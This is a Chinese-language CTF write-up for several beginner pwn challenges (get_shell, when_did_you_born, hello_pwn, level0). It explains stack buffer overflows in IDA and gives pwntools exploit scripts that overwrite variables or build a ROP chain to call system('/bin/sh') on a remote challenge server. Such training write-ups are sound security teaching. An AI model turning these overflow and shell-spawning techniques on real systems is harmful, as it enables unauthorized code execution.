涉及的工具有
Ubuntu 16.04
pwntools
IDA
gdb-peda
1、get_shell
连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag
以下是常规解法
先看一下程序的位数 为64位的ELF
然后看保护机制
然后用IDA看看,找到main函数,F5查看伪代码
system函数可以直接获得shell ,连接就可以获得get shell
from pwn import * r=remote('111.198.29.45',51214) r.interactive()
2、CGfsb
3、when_did_you_born
检查保护机制
然后拖到IDA
要使v5输入1926才能cat flag 但是一输入1926就退出程序了,gets函数可以溢出,我们就可以在输入的名字(v4)的时候填充无意义字符使其溢出,把v5原本的值覆盖掉,替换成1926
在IDA双击&4(var_20)和&5(var_18) 发现它们相差0x8个字符。
当v4输入的长度大于0x8个字符,大于8个的数会覆盖掉v5,使v5重新赋值
那么可以构造脚本
from pwn import * r=remote('111.198.29.45',51232) r.recvuntil("What's Your Birth?") r.sendline('2019') #随便填 r.recvuntil("What's Your Name?") payload='a'*0x8+p32(0x786) #0x786的十进制是1926 r.sendline(payload) r.interactive()
执行,获取flag
4、hello_pwn
64位的ELF
打开了NX保护
丢到IDA看看,只需要让dword_601068等于1853186401就可以执行sub_400686函数获取flag
read存在溢出,且unk_691968和dword_60106c偏移量为4,那么很轻松就可以覆盖dword_60106c的值
编写脚本
from pwn import * #p=process('./hello_pwn') p=remote('111.198.29.45',31449) payload = 'a'*0x4+p64(1853186401) p.recvuntil("bof") p.sendline(payload) p.interactive()
执行
5、level0
程序是64位
NX保护
看看伪代码先
返回vulnerable_function函数,read函数存在溢出
看看其他函数,_system函数可以执行系统命令
shift+F12看看字符串,发现有shell
思路很明确,让read函数溢出然后执行system函数,并让system函数的参数为/bin/sh, 我们就可以get到shell了
但是这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我们需要找到rdi的地址
然后再找到‘/bin/sh’的地址
以及system的地址
脚本如下
from pwn import * r=remote('111.198.29.45',47491) rdi_add=0x400663 shell_add=0x400684 sys_add=0x400460 payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add) r.sendline(payload) r.interactive()
--------------------------分割线------------------------------------
后面承认我瞎,没有看到callsystem函数可以直接调用shell
重新写脚本
from pwn import * r=remote('111.198.29.45',47491) payload='a'*0x88+p64(0x400596) r.sendline(payload) r.interactive()
结果如上,不再演示